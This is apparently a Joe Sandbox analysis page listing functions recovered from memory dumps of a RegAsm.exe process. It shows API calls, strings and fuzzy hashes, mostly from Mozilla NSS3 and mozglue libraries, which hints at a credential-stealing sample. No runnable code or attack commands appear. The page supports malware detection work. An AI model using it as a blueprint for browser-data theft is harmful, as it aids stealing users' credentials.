Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 7f9710136a7069a6ec3ebaa412385a4fc72c2d128f2c491f6e6929675284bd4e
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 3601C8B59142005BEB309F3AFD40BC7B7A5EF46318F044625E85A86F10E632F9698792

Function 6CA12D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CA15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA12D9C

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA12DB2
PR_EnterMonitor.NSS3(?), ref: 6CA12DCF
PR_ExitMonitor.NSS3(?), ref: 6CA12DF2
PR_ExitMonitor.NSS3(?), ref: 6CA12E0B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: b9fce4bdcff87b1c6e5d59b0409fb1317b11e771490080b2164cdca585f3e5f2
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 7C01C8B19142045FE7309E3AFD01BC7B7B5EF46318F044535E85A86F11D632F9698693

Function 6C9AAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C993090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9AAE42), ref: 6C9930AA
Part of subcall function 6C993090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9930C7
Part of subcall function 6C993090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9930E5
Part of subcall function 6C993090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C993116
Part of subcall function 6C993090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C99312B
Part of subcall function 6C993090: PK11_DestroyObject.NSS3(?,?), ref: 6C993154
Part of subcall function 6C993090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C9899FF,?,?,?,?,?,?,?,?,?,6C982D6B,?), ref: 6C9AAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C9899FF,?,?,?,?,?,?,?,?,?,6C982D6B,?), ref: 6C9AAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C982D6B,?,?,00000000), ref: 6C9AAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C982D6B,?,?,00000000), ref: 6C9AAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C982D6B,?,?), ref: 6C9AAEA3

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 14ee3e53bca194810aae76191aa0c5815766b53fe2a484b356ab3e4a3fd0528a
Instruction ID: 1c27137b99af49e7e2bbf7f7c77807774213f6fd83e2abb16f8adbd5cb378f5b
Opcode Fuzzy Hash: 14ee3e53bca194810aae76191aa0c5815766b53fe2a484b356ab3e4a3fd0528a
Instruction Fuzzy Hash: 1E01C8B6B0552057E70192ECAC89AAF315C8BB765DF1D4032E90AD7B01FE25DD074AE3

Function 00418D00 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00F828B0,?,?,?,00410F1C,?,00F828B0,00000000), ref: 00418D0C
lstrcpyn.KERNEL32(0062D378,00F828B0,00F828B0,?,00410F1C,?,00F828B0), ref: 00418D30
lstrlenA.KERNEL32(?,?,00410F1C,?,00F828B0), ref: 00418D47
wsprintfA.USER32 ref: 00418D67

Strings

%s%s, xrefs: 00418D55

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction ID: 934000c32db0b3497a9cf3f86b5bcb86f2a34007e8430f093dfbe5a2fe39e620
Opcode Fuzzy Hash: 95580f9ef10e992e71bb9d5f92c0387debde11b91ee44bd877bd47b6543a2d40
Instruction Fuzzy Hash: 4D0121B5500A08FFDB14DFA8D944EAE7B7AEF49354F108148F9099B340C731AA41CB95

Function 6C8A0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C863DEF), ref: 6C8A0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C863DEF), ref: 6C8A0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C863DEF), ref: 6C8A0DAF

Strings

<jemalloc>, xrefs: 6C8A0D92, 6C8A0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C8A0D97, 6C8A0DBE

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 4642a33a14fbfc2896feb9e616e97a550f651502b2394d8fd19031a27fdfd031
Instruction ID: b620412bce18b58ce53a7557b98dc4902aab2ba981ea0dd3354658e99706d5d5
Opcode Fuzzy Hash: 4642a33a14fbfc2896feb9e616e97a550f651502b2394d8fd19031a27fdfd031
Instruction Fuzzy Hash: 6CF0E03238035823D53411E51E05B66365D67C7B55F704935F205EA9C0DB54E80686A8

Function 6CA9ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CA9A6D8), ref: 6CA9AE0D
free.MOZGLUE(?), ref: 6CA9AE14
DeleteCriticalSection.KERNEL32(6CA9A6D8), ref: 6CA9AE36
free.MOZGLUE(?), ref: 6CA9AE3D
free.MOZGLUE(00000000,00000000,?,?,6CA9A6D8), ref: 6CA9AE47

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 8a054dc40fd9907f4e44dd2cafe3164a960f1c5fe5a687992c3b6b73eb0fa9e1
Instruction ID: 835c70ddfc68fc1eaf0428d9d8cab8494b9accaa11aced8515182bc572e6973b
Opcode Fuzzy Hash: 8a054dc40fd9907f4e44dd2cafe3164a960f1c5fe5a687992c3b6b73eb0fa9e1
Instruction Fuzzy Hash: 47F04679200B16ABCB009F68D80994777B9BF867787544329E02A83940D735F512C7C1

Function 0041C131 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C13D

Part of subcall function 0041B95F: __getptd_noexit.LIBCMT ref: 0041B962
Part of subcall function 0041B95F: __amsg_exit.LIBCMT ref: 0041B96F

__getptd.LIBCMT ref: 0041C154
__amsg_exit.LIBCMT ref: 0041C162
__lock.LIBCMT ref: 0041C172
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C186

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: f91fec2063d97a7eb229f85e0adcf403c29327dbc41ba98204d7742795391cb6
Instruction ID: 8ab2358e073072cf1b6368508cb93219ca215ee4194414271c281da078928a9c
Opcode Fuzzy Hash: f91fec2063d97a7eb229f85e0adcf403c29327dbc41ba98204d7742795391cb6
Instruction Fuzzy Hash: BDF06271AD5310ABD720BBA958427DA3790AF00728F15410FE454A62D3CB6C58D19A9E

Function 6C88D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C89CBE8: GetCurrentProcess.KERNEL32(?,6C8631A7), ref: 6C89CBF1
Part of subcall function 6C89CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8631A7), ref: 6C89CBFA

EnterCriticalSection.KERNEL32(6C8EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D4F2
LeaveCriticalSection.KERNEL32(6C8EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D50B

Part of subcall function 6C86CFE0: EnterCriticalSection.KERNEL32(6C8EE784), ref: 6C86CFF6
Part of subcall function 6C86CFE0: LeaveCriticalSection.KERNEL32(6C8EE784), ref: 6C86D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D52E
EnterCriticalSection.KERNEL32(6C8EE7DC), ref: 6C88D690
LeaveCriticalSection.KERNEL32(6C8EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D751

Strings

MOZ_CRASH(), xrefs: 6C88D4BB

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 40d33a93c4f9446b90682b0c5c63c4e86c943890b22a6e60473bae98ce71d5c0
Instruction ID: 83deee1c23db741d40b6114663a2c968e9e82d2f7291d7bce60e541d15fbaaa2
Opcode Fuzzy Hash: 40d33a93c4f9446b90682b0c5c63c4e86c943890b22a6e60473bae98ce71d5c0
Instruction Fuzzy Hash: D151BD71A057169FD774CF28C69062AB7E1AB8A308F548D3FD59987F85D770A800CB81

Function 6C8BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C864290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C8A3EBD,6C8A3EBD,00000000), ref: 6C8642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C8BB127), ref: 6C8BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C8BB4E4

Strings

pid:, xrefs: 6C8BB4DE

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 2c9207df354097860aa3cac9c6a09d256351814974bbc33b6ed98650a7565352
Instruction ID: 2986339272c80443354efb32b30c2cd493a040bce5308ce4c3b35973c1065bfa
Opcode Fuzzy Hash: 2c9207df354097860aa3cac9c6a09d256351814974bbc33b6ed98650a7565352
Instruction Fuzzy Hash: DF31AC31A012189BDB20DFA9DAC0ABEB7B5BF49318F540929D81677B41D731A849CBA1

Function 6C916C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C916D36

Strings

database corruption, xrefs: 6C916D2A
%s at line %d of [%.10s], xrefs: 6C916D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C916D20

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: caf40c33f83b3770c603de06f11d96c9aece8f8bbaff59e906e7a25d8b648e91
Instruction ID: ba37e77eacb2ab17194537474364a90425893d16d82e351540b11700748203cd
Opcode Fuzzy Hash: caf40c33f83b3770c603de06f11d96c9aece8f8bbaff59e906e7a25d8b648e91
Instruction Fuzzy Hash: FD210235A183099BC7108E19C842B5AB7F6FF90308F14852CD8499BF51E770F988C7A2

Function 004160D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416103

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 004161C6
ExitProcess.KERNEL32 ref: 004161F5

Strings

<, xrefs: 00416179

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction ID: 54b6532b0b3a1e4a3a0de688d9ef2eddded6cf57616e9fa182c501fcadca31e9
Opcode Fuzzy Hash: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction Fuzzy Hash: F6318EB1801218ABCB14EB90CC86FDEB778AF54314F40419EF20962191DF786B88CF69

Function 6CA4CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CA4CC7B), ref: 6CA4CD7A
Part of subcall function 6CA4CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA4CD8E
Part of subcall function 6CA4CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA4CDA5
Part of subcall function 6CA4CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA4CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CA4CCB5
memcpy.VCRUNTIME140(6CAE14F4,6CAE02AC,00000090), ref: 6CA4CCD3
memcpy.VCRUNTIME140(6CAE1588,6CAE02AC,00000090), ref: 6CA4CD2B

Part of subcall function 6C969AC0: socket.WSOCK32(?,00000017,6C9699BE), ref: 6C969AE6
Part of subcall function 6C969AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C9699BE), ref: 6C969AFC

Part of subcall function 6C970590: closesocket.WSOCK32(6C969A8F,?,?,6C969A8F,00000000), ref: 6C970597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CA4CCB0

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 2ebb2378b177eec293820d9af82335902c65dc42c325a9affc4e37f958030181
Instruction ID: 673466284f9a2749a22784bdd4512a6284fadd68b228528e23abea7aaef2323f
Opcode Fuzzy Hash: 2ebb2378b177eec293820d9af82335902c65dc42c325a9affc4e37f958030181
Instruction Fuzzy Hash: C111D8F1B113215EDB449F5D88077623AF8935E208F145125E2098BB42D671C4C5EBF2

Function 6C8AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8AE577
AcquireSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C8AE584
ReleaseSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C8AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C8AE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C8AE722, 6C8AE750, 6C8AE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C8AE655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C8AE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C8AE826, 6C8AE850
MOZ_PROFILER_STARTUP, xrefs: 6C8AE5A1, 6C8AE5CC, 6C8AE5FF, 6C8AE62A

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 88af3219125ca56a6cac3608bf645d00f933f7b3c2660d013ee25c841cb0d5f9
Instruction ID: 38a00b2359e8dc96fbb33b26c1cf79f248542e11db5dc22a205cc15b38f929a1
Opcode Fuzzy Hash: 88af3219125ca56a6cac3608bf645d00f933f7b3c2660d013ee25c841cb0d5f9
Instruction Fuzzy Hash: 1E11AD31A04258DFCB709F58D948A6ABBB4FBCE32CF410E29E84547750C770A909CBD5

Function 6C90A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CA3A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA5C3A2,?,?,00000000,00000000), ref: 6CA3A528
Part of subcall function 6CA3A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA3A6E0

